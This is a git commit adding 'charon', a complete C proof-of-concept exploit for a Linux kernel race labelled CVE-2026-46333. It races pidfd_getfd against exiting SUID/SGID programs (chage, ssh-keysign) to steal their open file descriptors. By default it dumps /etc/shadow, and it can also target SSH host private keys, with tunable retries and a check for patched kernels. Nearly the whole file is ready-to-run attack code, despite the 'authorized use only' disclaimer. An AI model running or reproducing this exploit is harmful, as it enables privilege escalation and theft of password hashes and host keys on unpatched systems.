charon: initial release — CVE-2026-46333 PoC
CHARON ferries file descriptors out of dying SUID/SGID processes through the __ptrace_may_access mm==NULL window in do_exit(), disclosed by Qualys 2026-05-15 (CVE-2026-46333). Default behavior: dump /etc/shadow to stdout, banner + progress on stderr. --quiet for pure-pipe output, --verbose for stats. Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family (chage SUID-root), and ssh-keysign. Patched-kernel detection distinguishes "primitive fires but lure didn't open target" from "pidfd_getfd never succeeded → fix is in place". Pre-built 46KB musl-static binary included as charon-static.
This commit is contained in:
@@ -0,0 +1,311 @@
|
||||
/*
|
||||
* ____ _ _ _ ____ ___ _ _
|
||||
* / ___|| | | | / \ | _ \ / _ \| \ | |
|
||||
* | | | |_| | / _ \ | |_) | | | | \| |
|
||||
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
|
||||
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
||||
*
|
||||
* ferries file descriptors across the exit-mm() Styx
|
||||
* CVE-2026-46333 / Linux <= 6.12.89
|
||||
*
|
||||
* "It is a fearful thing to fall into the hands of the living God."
|
||||
* — Hebrews 10:31
|
||||
*
|
||||
* Charon races pidfd_getfd(2) against a dying SUID-root process to
|
||||
* lift its open /etc/shadow file descriptor through the transient
|
||||
* mm-NULL window in do_exit():
|
||||
*
|
||||
* do_exit()
|
||||
* ├── exit_mm() ← task->mm = NULL
|
||||
* ├── ... ← __ptrace_may_access() now lies
|
||||
* └── exit_files() ← fd table reaped
|
||||
*
|
||||
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
|
||||
* never dumpable" and short-circuits the dumpable check. The dying
|
||||
* userspace SUID process is briefly indistinguishable from a kernel
|
||||
* thread in that test, so pidfd_getfd(2) succeeds against it and
|
||||
* returns whatever fds it still has open before exit_files() runs.
|
||||
*
|
||||
* If the SUID binary opened /etc/shadow and then setreuid'd to the
|
||||
* attacker uid before exiting, Charon walks home with the fd.
|
||||
*
|
||||
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
|
||||
* Disclosure: Qualys → oss-security 2026-05-15
|
||||
* Educational and authorized-defensive use only.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
#include <getopt.h>
|
||||
|
||||
#ifndef __NR_pidfd_open
|
||||
#define __NR_pidfd_open 434
|
||||
#endif
|
||||
#ifndef __NR_pidfd_getfd
|
||||
#define __NR_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
#define CHARON_VERSION "1.0.0"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ____ _ _ _ ____ ___ _ _\n"
|
||||
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
|
||||
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
|
||||
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
|
||||
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
|
||||
"\n"
|
||||
" ferries fds across the exit-mm() Styx\n"
|
||||
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
||||
"\n";
|
||||
|
||||
/* A lure is a SUID-root binary that opens FILE before dropping uid
|
||||
* and exiting. invoking ARGV makes it open FILE deterministically. */
|
||||
struct lure {
|
||||
const char *path;
|
||||
const char *file;
|
||||
const char *const argv[5];
|
||||
};
|
||||
|
||||
static const struct lure lures[] = {
|
||||
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
|
||||
* via SUID-root on RHEL family. Either way we ride the elevation. */
|
||||
{ "/usr/bin/chage", "/etc/shadow",
|
||||
{ "chage", "-l", "root", NULL } },
|
||||
{ "/usr/sbin/chage", "/etc/shadow",
|
||||
{ "chage", "-l", "root", NULL } },
|
||||
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
|
||||
* is enabled; newer builds bail early but still open the file first. */
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ NULL, NULL, { NULL } }
|
||||
};
|
||||
|
||||
/* CLI state */
|
||||
static const char *opt_target = NULL;
|
||||
static int opt_quiet = 0;
|
||||
static int opt_verbose = 0;
|
||||
static int opt_rounds = 500;
|
||||
static int opt_inner = 30000;
|
||||
|
||||
static unsigned long stat_forks = 0;
|
||||
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
||||
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
|
||||
static unsigned long stat_target_hits = 0; /* matched want_file */
|
||||
|
||||
static void
|
||||
msg(const char *prefix, const char *fmt, ...)
|
||||
{
|
||||
if (opt_quiet) return;
|
||||
va_list ap;
|
||||
fprintf(stderr, "%s ", prefix);
|
||||
va_start(ap, fmt);
|
||||
vfprintf(stderr, fmt, ap);
|
||||
va_end(ap);
|
||||
fputc('\n', stderr);
|
||||
fflush(stderr);
|
||||
}
|
||||
|
||||
static int
|
||||
dump_fd(int fd)
|
||||
{
|
||||
char buf[8192];
|
||||
ssize_t n;
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
while ((n = read(fd, buf, sizeof(buf))) > 0) {
|
||||
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
|
||||
return -1;
|
||||
}
|
||||
fflush(stdout);
|
||||
return n < 0 ? -1 : 0;
|
||||
}
|
||||
|
||||
static int
|
||||
lure_present(const struct lure *l)
|
||||
{
|
||||
struct stat st;
|
||||
if (stat(l->path, &st) != 0) return 0;
|
||||
/* Accept SUID-anything OR SGID-anything — both trigger the
|
||||
* dumpable flag in execve which is exactly the protection that
|
||||
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
|
||||
* shadow (not SUID root); on RHEL family chage is SUID root. */
|
||||
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Returns 0 on success (file contents on stdout). Negative codes:
|
||||
* -ENOENT lure binary missing / no setuid|setgid
|
||||
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
|
||||
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
|
||||
static int
|
||||
hunt(const struct lure *l, const char *want_file)
|
||||
{
|
||||
if (!lure_present(l)) return -ENOENT;
|
||||
|
||||
msg("[*]", "lure %s target %s", l->path, want_file);
|
||||
|
||||
unsigned long getfd_ok_before = stat_getfd_ok;
|
||||
|
||||
for (int round = 0; round < opt_rounds; round++) {
|
||||
pid_t c = fork();
|
||||
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
|
||||
|
||||
if (c == 0) {
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
|
||||
execv(l->path, (char *const *)l->argv);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
stat_forks++;
|
||||
|
||||
int pfd = syscall(__NR_pidfd_open, c, 0);
|
||||
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
||||
|
||||
int got = -1;
|
||||
|
||||
for (int a = 0; a < opt_inner && got < 0; a++) {
|
||||
for (int i = 3; i < 32; i++) {
|
||||
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||
stat_getfds++;
|
||||
if (s < 0) continue;
|
||||
|
||||
stat_getfd_ok++; /* the bug worked at least at the syscall level */
|
||||
|
||||
char p[512] = {0}, lk[64];
|
||||
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
||||
if (n > 0) p[n] = 0;
|
||||
|
||||
if (strstr(p, want_file)) {
|
||||
if (opt_verbose)
|
||||
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
|
||||
got = s;
|
||||
break;
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
}
|
||||
|
||||
if (got >= 0) {
|
||||
stat_target_hits++;
|
||||
int rc = dump_fd(got);
|
||||
close(got);
|
||||
close(pfd);
|
||||
waitpid(c, NULL, 0);
|
||||
if (opt_verbose)
|
||||
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
|
||||
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
|
||||
return rc;
|
||||
}
|
||||
|
||||
close(pfd);
|
||||
waitpid(c, NULL, 0);
|
||||
}
|
||||
|
||||
/* If pidfd_getfd never succeeded against this lure, the primitive
|
||||
* is closed for this binary — likely a patched kernel. */
|
||||
if (stat_getfd_ok == getfd_ok_before)
|
||||
return -EPERM;
|
||||
return -ETIME;
|
||||
}
|
||||
|
||||
static void
|
||||
usage(const char *prog)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
|
||||
"\n"
|
||||
"Usage: %s [options]\n"
|
||||
"\n"
|
||||
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
||||
" -r, --rounds N max rounds per lure (default: 500)\n"
|
||||
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
|
||||
" -q, --quiet no banner, no progress\n"
|
||||
" -v, --verbose per-hit + final stats\n"
|
||||
" --version print version and exit\n"
|
||||
" -h, --help this help\n"
|
||||
"\n"
|
||||
"Exit codes:\n"
|
||||
" 0 success — file contents on stdout\n"
|
||||
" 1 no built-in lure on this system opens the requested file\n"
|
||||
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
|
||||
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
|
||||
" 4 CLI / IO error\n"
|
||||
"\n"
|
||||
"For authorized security testing and defensive research only.\n",
|
||||
CHARON_VERSION, prog);
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
static const struct option opts[] = {
|
||||
{"target", required_argument, 0, 't'},
|
||||
{"rounds", required_argument, 0, 'r'},
|
||||
{"inner", required_argument, 0, 'i'},
|
||||
{"quiet", no_argument, 0, 'q'},
|
||||
{"verbose", no_argument, 0, 'v'},
|
||||
{"version", no_argument, 0, 1 },
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0,0,0,0}
|
||||
};
|
||||
|
||||
int o;
|
||||
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
|
||||
switch (o) {
|
||||
case 't': opt_target = optarg; break;
|
||||
case 'r': opt_rounds = atoi(optarg); break;
|
||||
case 'i': opt_inner = atoi(optarg); break;
|
||||
case 'q': opt_quiet = 1; break;
|
||||
case 'v': opt_verbose = 1; break;
|
||||
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
|
||||
case 'h': usage(argv[0]); return 0;
|
||||
default : usage(argv[0]); return 4;
|
||||
}
|
||||
}
|
||||
if (!opt_target) opt_target = "/etc/shadow";
|
||||
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
|
||||
|
||||
if (!opt_quiet) fputs(BANNER, stderr);
|
||||
|
||||
/* Iterate lures whose `file` matches what the user asked for. */
|
||||
int any_present = 0, all_appear_patched = 1;
|
||||
for (const struct lure *l = lures; l->path; l++) {
|
||||
if (strcmp(l->file, opt_target) != 0) continue;
|
||||
if (!lure_present(l)) continue;
|
||||
any_present = 1;
|
||||
|
||||
int rc = hunt(l, opt_target);
|
||||
if (rc == 0) return 0;
|
||||
if (rc != -EPERM) all_appear_patched = 0;
|
||||
}
|
||||
|
||||
if (!any_present) {
|
||||
msg("[!]", "no built-in lure on this system opens %s", opt_target);
|
||||
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
|
||||
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
|
||||
return 1;
|
||||
}
|
||||
if (all_appear_patched && stat_getfd_ok == 0) {
|
||||
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
|
||||
stat_getfds, stat_forks);
|
||||
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
|
||||
return 2;
|
||||
}
|
||||
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
|
||||
stat_getfd_ok, opt_target);
|
||||
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
|
||||
return 3;
|
||||
}
|
||||
Reference in New Issue
Block a user